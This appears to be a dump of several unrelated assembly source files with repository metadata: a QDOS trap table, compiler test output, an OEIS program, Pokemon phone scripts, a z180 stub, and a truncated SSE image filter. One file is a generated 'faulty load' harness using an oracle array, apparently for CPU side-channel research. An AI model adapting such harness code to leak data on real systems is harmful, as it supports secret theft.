36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 */
31.732342
2,999
0.655811
68564634741c38b6751608a4ede6221979df4edf
3,158
asm
Assembly
smsq/qd/trap1.asm
olifink/smsqe
c546d882b26566a46d71820d1539bed9ea8af108
[ "BSD-2-Clause" ]
null
null
null
smsq/qd/trap1.asm
olifink/smsqe
c546d882b26566a46d71820d1539bed9ea8af108
[ "BSD-2-Clause" ]
null
null
null
smsq/qd/trap1.asm
olifink/smsqe
c546d882b26566a46d71820d1539bed9ea8af108
[ "BSD-2-Clause" ]
null
null
null
* QDOS Trap #1 Emulation V2.01  1986 Tony Tebby QJUMP * section qd * xdef qd_trap1 xdef qd_t1tab * include 'dev8_keys_qdos_sms' include 'dev8_keys_err' include 'dev8_keys_sys' include 'dev8_keys_psf' include 'dev8_smsq_smsq_base_keys' dc.l 0,0,0,0 sixteen bytes for cache patch * * set primary stack frame and locate system variable base * qd_trap1 movem.l psf.reg,-(sp) save main working registers trap1_entry move.l sms.sysb,a6 system variable base lea sms.t1max,a5 cmp.w (a5)+,d0 valid operation? bhi.l sms_ikey move.w d0,d7 lsl.w #2,d7 move.l (a5,d7.w),a5 jmp (a5) * page * xref sms_cjid xref sms_ikey xref sms_rtok xref sms_rte * xref sms_crjb xref sms_injb xref sms_rmjb xref sms_frjb xref mem_frtp xref qd_exv xref shd_ssjb xref shd_usjb xref shd_acjb xref shd_spjb xref sms_alhp xref sms_rehp xref sms_arpa xref sms_ampa xref sms_rmpa xref sms_achp xref sms_rchp xref sms_lexi xref sms_rexi xref sms_lpol xref sms_rpol xref sms_lshd xref sms_rshd xref sms_liod xref sms_riod xref sms_lfsd xref sms_rfsd xref sms_iopr xref sms_cach xref sms_trns xref sms_lldm xref sms_lenq xref sms_lset xref sms_pset xref sms_mptr xref sms_fprm xref sms_schp xref shd_sevt xref shd_wevt * trp1_inf bsr.l sms_cjid get current job id in d1 move.l sys_vers(a6),d2 set version move.l a6,a0 sysvar base qd_ok bra.l sms_rtok ... done qd_nop2 moveq #0,d2 no d2 qd_nop1 moveq #0,d1 no d1 qd_nop bra.l sms_rtok qd_spjb and.w #$00ff,d2 increment only jmp shd_spjb qd_acjb and.w #$00ff,d2 increment only jmp shd_acjb qd_cbas move.l sys_jbpt(a6),sys_cbas(a6) bra.l sms_rtok qd_xtop move.l psf_pc(sp),d7 operation address move.l usp,a5 move.l (a5)+,psf_pc(sp) return address move.l a5,usp move.l sp,a5 psf pea sms_rte return move.l d7,-(sp) routine rts * qd_t1tab dc.w $3e max table size dc.w trp1_inf-* $00 dc.w sms_crjb-* dc.w sms_injb-* dc.w qd_cbas-* dc.w sms_rmjb-* $04 dc.w sms_frjb-* dc.w mem_frtp-* dc.w qd_exv-* dc.w shd_ssjb-* $08 dc.w shd_usjb-* dc.w qd_acjb-* dc.w qd_spjb-* dc.w sms_alhp-* $0c dc.w sms_rehp-* dc.w sms_arpa-* dc.w sms_ikey-* dc.w qd_nop2-* $10 (no mode) dc.w qd_nop-* (no hdop) dc.w qd_nop-* (no baud) dc.w qd_nop1-* (no rtc) dc.w qd_nop1-* $14 (no rtc) dc.w qd_nop1-* (no rtc) dc.w sms_ampa-* dc.w sms_rmpa-* dc.w sms_achp-* $18 dc.w sms_rchp-* dc.w sms_lexi-* dc.w sms_rexi-* dc.w sms_lpol-* $1c dc.w sms_rpol-* dc.w sms_lshd-* dc.w sms_rshd-* dc.w sms_liod-* $20 dc.w sms_riod-* dc.w sms_lfsd-* dc.w sms_rfsd-* dc.w sms_trns-* $24 dc.w qd_xtop-* dc.w sms_ikey-* dc.w sms_ikey-* dc.w sms_ikey-* $28 dc.w sms_ikey-* dc.w sms_ikey-* dc.w sms_ikey-* dc.w sms_ikey-* $2c dc.w sms_ikey-* dc.w sms_iopr-* dc.w sms_cach-* dc.w sms_lldm-* $30 dc.w sms_lenq-* dc.w sms_lset-* dc.w sms_pset-* dc.w sms_mptr-* $34 dc.w sms_fprm-* dc.w sms_ikey-* dc.w sms_ikey-* dc.w sms_schp-* $38 dc.w sms_ikey-* dc.w shd_sevt-* dc.w shd_wevt-* dc.w sms_ikey-* $3C dc.w sms_ikey-* dc.w sms_ikey-* * end
16.887701
60
0.679861
1b1128f2eec64b62570cc17409a88741bdfbedbc
1,139
asm
Assembly
src/test/ref/test-comments-block.asm
jbrandwood/kickc
d4b68806f84f8650d51b0e3ef254e40f38b0ffad
[ "MIT" ]
2
2022-03-01T02:21:14.000Z
2022-03-01T04:33:35.000Z
src/test/ref/test-comments-block.asm
jbrandwood/kickc
d4b68806f84f8650d51b0e3ef254e40f38b0ffad
[ "MIT" ]
null
null
null
src/test/ref/test-comments-block.asm
jbrandwood/kickc
d4b68806f84f8650d51b0e3ef254e40f38b0ffad
[ "MIT" ]
null
null
null
/* Tests that block comments are compiled correctly * Has a bunch of comments that will be moved into the generated ASM */ // Commodore 64 PRG executable file .file [name="test-comments-block.prg", type="prg", segments="Program"] .segmentdef Program [segments="Basic, Code, Data"] .segmentdef Basic [start=$0801] .segmentdef Code [start=$80d] .segmentdef Data [startAfter="Code"] .segment Basic :BasicUpstart(main) // One of the bytes used for addition .const a = 'a' // The C64 screen .label SCREEN = $400 .segment Code /* The program entry point */ main: { ldx #0 ldy #0 // Do some sums __b1: // sum(a, b) tya jsr sum // SCREEN[i++] = sum(a, b) // Output the result on the screen sta SCREEN,x // SCREEN[i++] = sum(a, b); inx // for(byte b: 0..10 ) iny cpy #$b bne __b1 // } rts } /** Adds up two bytes and returns the result * a - the first byte * b - the second byte * Returns the sum pf the two bytes */ // __register(A) char sum(char a, __register(A) char b) sum: { // byte r = a+b // calculate the sum clc adc #@a // } rts }
21.903846
70
0.611062
2952eaa1e8bf05db4dd11b8b3849e403d8a00756
528
asm
Assembly
oeis/157/A157772.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/157/A157772.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/157/A157772.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A157772: Numbers n such that 100n + 13 is prime. ; Submitted by Jon Maiga ; 0,1,3,6,10,12,16,19,21,22,27,33,34,36,40,45,48,51,54,58,61,70,72,85,87,90,94,96,103,105,106,111,112,118,121,124,126,127,133,135,136,139,147,148,150,153,154,159,177,180,183,184,187,189,190,192,198,199,201,210,213,216 mov $2,$0 pow $2,2 mov $4,12 lpb $2 mov $3,$4 seq $3,10051 ; Characteristic function of primes: 1 if n is prime, else 0. sub $0,$3 mov $1,$0 max $1,0 cmp $1,$0 mul $2,$1 sub $2,1 add $4,100 lpe mov $0,$4 div $0,100
25.142857
217
0.645833
6148a205315d84755a6193f6e12e24ea8425fff2
7,732
asm
Assembly
Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0xca_notsx.log_13063_1028.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0xca_notsx.log_13063_1028.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0xca_notsx.log_13063_1028.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r10 push %r11 push %r13 push %r14 push %rax push %rbx push %rsi lea addresses_D_ht+0x18609, %rsi nop nop nop inc %r11 movups (%rsi), %xmm4 vpextrq $0, %xmm4, %rax nop nop nop and $15537, %r13 lea addresses_normal_ht+0x4451, %rax nop nop nop nop nop cmp $53, %r11 movb (%rax), %bl nop cmp %rbx, %rbx lea addresses_D_ht+0x12c39, %r10 clflush (%r10) nop nop xor %r11, %r11 movb $0x61, (%r10) nop nop nop sub $58054, %r11 lea addresses_WT_ht+0x19e09, %rbx nop nop nop nop add $41304, %r14 mov $0x6162636465666768, %rax movq %rax, %xmm7 movups %xmm7, (%rbx) nop nop nop nop nop add %r14, %r14 lea addresses_normal_ht+0x15e7c, %rax add $63628, %r11 movb $0x61, (%rax) nop nop nop xor $7522, %rax lea addresses_WT_ht+0x13c09, %r11 nop nop dec %r10 mov (%r11), %eax nop inc %r10 lea addresses_UC_ht+0x1c099, %r10 nop nop nop nop and $38765, %r11 mov (%r10), %r13d nop nop nop nop add %rbx, %rbx lea addresses_WT_ht+0x11fb1, %r13 nop nop nop nop nop dec %rax movups (%r13), %xmm1 vpextrq $0, %xmm1, %r10 nop nop nop nop sub $54549, %rbx lea addresses_UC_ht+0x48c4, %rsi nop nop xor %r11, %r11 mov $0x6162636465666768, %rbx movq %rbx, %xmm1 vmovups %ymm1, (%rsi) nop and %r13, %r13 pop %rsi pop %rbx pop %rax pop %r14 pop %r13 pop %r11 pop %r10 ret .global s_faulty_load s_faulty_load: push %r11 push %r13 push %r15 push %rax push %rcx push %rdi push %rdx push %rsi // Store lea addresses_WC+0x73d9, %r11 nop nop nop nop and $12901, %rax mov $0x5152535455565758, %r13 movq %r13, %xmm1 movups %xmm1, (%r11) nop nop nop xor %r11, %r11 // Store lea addresses_WC+0x6b31, %rdx nop nop nop nop inc %rdi movw $0x5152, (%rdx) nop cmp %r13, %r13 // Store lea addresses_PSE+0x174b9, %r13 clflush (%r13) nop nop nop and $57378, %r15 mov $0x5152535455565758, %r11 movq %r11, %xmm6 vmovups %ymm6, (%r13) nop sub %rdi, %rdi // Store lea addresses_WC+0x1b009, %r11 nop nop nop nop xor $54636, %rcx mov $0x5152535455565758, %r13 movq %r13, (%r11) nop nop nop nop nop add $58200, %rdx // Store mov $0xbf0, %r13 and %rax, %rax movb $0x51, (%r13) nop and $50263, %rdi // REPMOV lea addresses_WT+0x1e809, %rsi lea addresses_normal+0x1d009, %rdi nop nop nop xor %r11, %r11 mov $70, %rcx rep movsb nop and $59604, %rdx // Faulty Load lea addresses_WT+0x1e809, %r15 nop nop nop cmp %r13, %r13 movups (%r15), %xmm0 vpextrq $1, %xmm0, %rdi lea oracles, %rax and $0xff, %rdi shlq $12, %rdi mov (%rax,%rdi,1), %rdi pop %rsi pop %rdx pop %rdi pop %rcx pop %rax pop %r15 pop %r13 pop %r11 ret /* <gen_faulty_load> [REF] {'src': {'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 0, 'same': False, 'type': 'addresses_WT'}, 'OP': 'LOAD'} {'dst': {'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 3, 'same': False, 'type': 'addresses_WC'}, 'OP': 'STOR'} {'dst': {'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 0, 'same': False, 'type': 'addresses_WC'}, 'OP': 'STOR'} {'dst': {'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 3, 'same': False, 'type': 'addresses_PSE'}, 'OP': 'STOR'} {'dst': {'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 10, 'same': False, 'type': 'addresses_WC'}, 'OP': 'STOR'} {'dst': {'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 0, 'same': False, 'type': 'addresses_P'}, 'OP': 'STOR'} {'src': {'congruent': 0, 'same': True, 'type': 'addresses_WT'}, 'dst': {'congruent': 11, 'same': False, 'type': 'addresses_normal'}, 'OP': 'REPM'} [Faulty Load] {'src': {'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 0, 'same': True, 'type': 'addresses_WT'}, 'OP': 'LOAD'} <gen_prepare_buffer> {'src': {'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 8, 'same': True, 'type': 'addresses_D_ht'}, 'OP': 'LOAD'} {'src': {'NT': True, 'AVXalign': False, 'size': 1, 'congruent': 3, 'same': False, 'type': 'addresses_normal_ht'}, 'OP': 'LOAD'} {'dst': {'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 4, 'same': True, 'type': 'addresses_D_ht'}, 'OP': 'STOR'} {'dst': {'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 8, 'same': False, 'type': 'addresses_WT_ht'}, 'OP': 'STOR'} {'dst': {'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 0, 'same': False, 'type': 'addresses_normal_ht'}, 'OP': 'STOR'} {'src': {'NT': True, 'AVXalign': True, 'size': 4, 'congruent': 9, 'same': False, 'type': 'addresses_WT_ht'}, 'OP': 'LOAD'} {'src': {'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 4, 'same': False, 'type': 'addresses_UC_ht'}, 'OP': 'LOAD'} {'src': {'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 1, 'same': False, 'type': 'addresses_WT_ht'}, 'OP': 'LOAD'} {'dst': {'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 0, 'same': False, 'type': 'addresses_UC_ht'}, 'OP': 'STOR'} {'39': 13063} 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 */
31.430894
2,999
0.652871
41ebd89d4e3071c7a5ae5bbf62b7e9f2cf8d6671
985
asm
Assembly
engine/phone/scripts/erin.asm
Dev727/ancientplatinum
8b212a1728cc32a95743e1538b9eaa0827d013a7
[ "blessing" ]
28
2019-11-08T07:19:00.000Z
2021-12-20T10:17:54.000Z
engine/phone/scripts/erin.asm
Dev727/ancientplatinum
8b212a1728cc32a95743e1538b9eaa0827d013a7
[ "blessing" ]
13
2020-01-11T17:00:40.000Z
2021-09-14T01:27:38.000Z
engine/phone/scripts/erin.asm
Dev727/ancientplatinum
8b212a1728cc32a95743e1538b9eaa0827d013a7
[ "blessing" ]
22
2020-05-28T17:31:38.000Z
2022-03-07T20:49:35.000Z
ErinPhoneCalleeScript: gettrainername STRING_BUFFER_3, PICNICKER, ERIN1 checkflag ENGINE_ERIN iftrue .WantsBattle farscall PhoneScript_AnswerPhone_Female checkflag ENGINE_ERIN_SATURDAY_NIGHT iftrue .NotSaturday readvar VAR_WEEKDAY ifnotequal SATURDAY, .NotSaturday checktime NITE iftrue ErinSaturdayNight .NotSaturday: farsjump ErinWorkingHardScript .WantsBattle: getlandmarkname STRING_BUFFER_5, ROUTE_46 farsjump ErinComeBattleScript ErinPhoneCallerScript: gettrainername STRING_BUFFER_3, PICNICKER, ERIN1 farscall PhoneScript_GreetPhone_Female checkflag ENGINE_ERIN iftrue .GenericCall checkflag ENGINE_ERIN_SATURDAY_NIGHT iftrue .GenericCall farscall PhoneScript_Random3 ifequal 0, ErinWantsBattle ifequal 1, ErinWantsBattle .GenericCall: farsjump Phone_GenericCall_Female ErinSaturdayNight: setflag ENGINE_ERIN_SATURDAY_NIGHT ErinWantsBattle: getlandmarkname STRING_BUFFER_5, ROUTE_46 setflag ENGINE_ERIN farsjump PhoneScript_WantsToBattle_Female
24.02439
49
0.871066
79b1c6f56393d3a5696a5cd07275fd160851f0b8
210
asm
Assembly
libsrc/_DEVELOPMENT/z180/c/sdcc/z180_delay_tstate_fastcall.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
640
2017-01-14T23:33:45.000Z
2022-03-30T11:28:42.000Z
libsrc/_DEVELOPMENT/z180/c/sdcc/z180_delay_tstate_fastcall.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
1,600
2017-01-15T16:12:02.000Z
2022-03-31T12:11:12.000Z
libsrc/_DEVELOPMENT/z180/c/sdcc/z180_delay_tstate_fastcall.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
215
2017-01-17T10:43:03.000Z
2022-03-23T17:25:02.000Z
; void z180_delay_tstate_fastcall(uint tstates) SECTION code_clib SECTION code_z180 PUBLIC _z180_delay_tstate_fastcall EXTERN asm_z180_delay_tstate defc _z180_delay_tstate_fastcall = asm_z180_delay_tstate
17.5
56
0.880952
62ebdb505eb6659f0a047a60f769caeced3f5164
15,451
asm
Assembly
filtros/monocromatizar_uno_asm.asm
partu18/edge_detection_algorithm_SIMD
52cefd9c64e67602322e62d8528761272c89ebe8
[ "MIT" ]
null
null
null
filtros/monocromatizar_uno_asm.asm
partu18/edge_detection_algorithm_SIMD
52cefd9c64e67602322e62d8528761272c89ebe8
[ "MIT" ]
null
null
null
filtros/monocromatizar_uno_asm.asm
partu18/edge_detection_algorithm_SIMD
52cefd9c64e67602322e62d8528761272c89ebe8
[ "MIT" ]
null
null
null
; void monocromatizar_uno_asm ( ; unsigned char *src, ; unsigned char *dst, ; int h, ; int w, en pixels ; int src_row_size, en bytes ; int dst_row_size ; ); section .data mask: DQ 0x00000000FFFFFFFF maskPrimeroCuarto: DW 0xFFFF, 0x0000, 0x0000, 0xFFFF, 0x0000, 0x0000, 0x0000, 0x0000 maskPrimerosDos: DW 0xFFFF, 0xFFFF, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000 section .text global monocromatizar_uno_asm monocromatizar_uno_asm: ; rdi --> *src/ puntero a src ; rsi --> *dst/ dst ; rdx --> h/ cantidad de filas ; rcx --> w/ columnas ; r8 --> src_row size ; r9 --> dst_row_size PUSH rbp ; Alinea MOV rbp, rsp PUSH r13 ; salva r13 Alinea PUSH r14 ; salva r14 Desalinea MOV rax, [mask] ; pone en rax lo que se usa como máscara AND rdx, rax ; máscara a rdx para dejar la parte baja únicamente AND rcx, rax ; máscara a rcx para dejar la parte baja únicamente AND r8, rax ; máscara a r8 para dejar la parte baja únicamente AND r9, rax ; máscara a r9 para dejar la parte baja únicamente XOR r11,r11; XOR rax,rax; cicloPorFilaMU: CMP rdx, 0; para ver si termine de ciclar todas las filas JE salirMU MOV r11, rcx; muevo al cantidad de columnas a r11 MOV r14, rdi; hago el iterador de columnas de srca MOV r13, rsi; hago el iterador de columnas de dst cicloPorColumnaMU: CMP r11, 0; comparo para ver si ya miré todas las columnas JE cambiarDeFilaMU CMP r11, 16; comparo para ver si estoy cerca del w JL redimensionarMU ;Primera tanda MOVDQU xmm0, [r14] ; pone en xmm0 la primera tirada de 16 bytes (|BGR, BGR, BGR, BGR|, BGR, B) PXOR xmm15, xmm15 ; limpia xmm15 MOVDQU xmm1, xmm0 ; copia al xmm1 lo de memoria MOVDQU xmm2, xmm0 ; copia al xmm2 lo de memoria PUNPCKLBW xmm1, xmm15 ; pasa al xmm1 en tamaño word los primeros (|BGR, BGR|, BG) PSLLDQ xmm2, 2 ; mueve dos bytes a derecha para que queden como parte baja los dos pixeles segundos o sea (00, BGR, BGR, |BGR, BGR|, BG) PUNPCKHBW xmm2, xmm15 ; pasa al xmm1 en tamaño word los segundos (|BGR, BGR|, BG) ; cálculo HIGH MOVDQU xmm3, xmm1 ; pasa al xmm3 el xmm1 para operar PSRLDQ xmm3, 2 ; mueve 2 bytes a izquierda (1 word, o sea una componente) queda (GR, BGR, BG0) PADDW xmm1, xmm3 ; deja en el xmm1 la suma o sea (|B1+G1, G1+R1|, R1+B2, |B2+G2, G2+R2|, R2+B3, B3+G3, G3+0) MOVDQU xmm3, xmm1 ; copia a xmm1 lo calculado antes PSRLDQ xmm3, 2 ; mueve 2 bytes a izquierda (1 word, o sea una componente) queda (G1+R1, R1+B2, B2+G2, G2+R2, R2+B3, B3+G3, G3+0, 0) PADDW xmm1, xmm3 ; deja en el xmm1 la suma o sea (|B1+G1+G1+R1|, G1+R1+R1+B2, R1+B2+B2+G2, |B2+G2+G2+R2|, G2+R2+R2+B3, R2+B3+B3+G3, B3+G3+G3+0, G3+0+0) PSRAW xmm1, 2 ; mueve 2 bits en cada uno a derecha (o sea divide por 4 cada uno de los words) ; cálculo LOW MOVDQU xmm3, xmm2 ; pasa al xmm3 el xmm1 para operar PSRLDQ xmm3, 2 ; mueve 2 bytes a izquierda (1 word, o sea una componente) queda (GR, BGR, BG0) PADDW xmm2, xmm3 ; deja en el xmm1 la suma o sea (|B1+G1, G1+R1|, R1+B2, |B2+G2, G2+R2|, R2+B3, B3+G3, G3+0) MOVDQU xmm3, xmm2 ; copia a xmm1 lo calculado antes PSRLDQ xmm3, 2 ; mueve 2 bytes a izquierda (1 word, o sea una componente) queda (G1+R1, R1+B2, B2+G2, G2+R2, R2+B3, B3+G3, G3+0, 0) PADDW xmm2, xmm3 ; deja en el xmm1 la suma o sea (|B1+G1+G1+R1|, G1+R1+R1+B2, R1+B2+B2+G2, |B2+G2+G2+R2|, G2+R2+R2+B3, R2+B3+B3+G3, B3+G3+G3+0, G3+0+0) PSRAW xmm2, 2 ; mueve 2 bits en cada uno a derecha (o sea divide por 4 cada uno de los words) ;máscaras MOVDQU xmm15, [maskPrimeroCuarto] ; pone en xmm15 la máscara para filtrar primero y cuarto PAND xmm1, xmm15 ; aplica la máscara PAND xmm2, xmm15 ; aplica la máscara MOVDQU xmm14, xmm1 ; pone en xmm14 a xmm1 PSRLDQ xmm14, 4 ; mueve a izquierda 4 bytes (o sea 2 words) PADDW xmm1, xmm14 ; deja en xmm1 (primero, segundo, basura, basura, basura, basura, basura, basura) MOVDQU xmm15, [maskPrimerosDos] ; pone en xmm15 la máscara para dejar sólo los primeros dos PAND xmm1, xmm15 ; deja los primeros dos MOVDQU xmm14, xmm2 ; pone en xmm14 a xmm2 PSRLDQ xmm14, 4 ; mueve a izquierda 4 bytes (o sea 2 words) PADDW xmm2, xmm14 ; deja en xmm1 (primero, segundo, basura, basura, basura, basura, basura, basura) MOVDQU xmm15, [maskPrimerosDos] ; pone en xmm15 la máscara para dejar sólo los primeros dos PAND xmm2, xmm15 ; deja los primeros dos PSLLDQ xmm2, 4 ; deja los dos segundo en las posiciones 3 y 4 PADDW xmm1, xmm2 ; deja en xmm1 los datos (1, 2, 3, 4, 0, 0, 0, 0) MOVDQU xmm10, xmm1 ; deja en xmm10 este registro para usarlo después ; pasa a los siguientes 4 píxeles LEA r14, [r14+12] ; aumenta 12 bytes para pasar a los siguientes ;Segunda tanda MOVDQU xmm0, [r14] ; pone en xmm0 la primera tirada de 16 bytes (|BGR, BGR, BGR, BGR|, BGR, B) PXOR xmm15, xmm15 ; limpia xmm15 MOVDQU xmm1, xmm0 ; copia al xmm1 lo de memoria MOVDQU xmm2, xmm0 ; copia al xmm2 lo de memoria PUNPCKLBW xmm1, xmm15 ; pasa al xmm1 en tamaño word los primeros (|BGR, BGR|, BG) 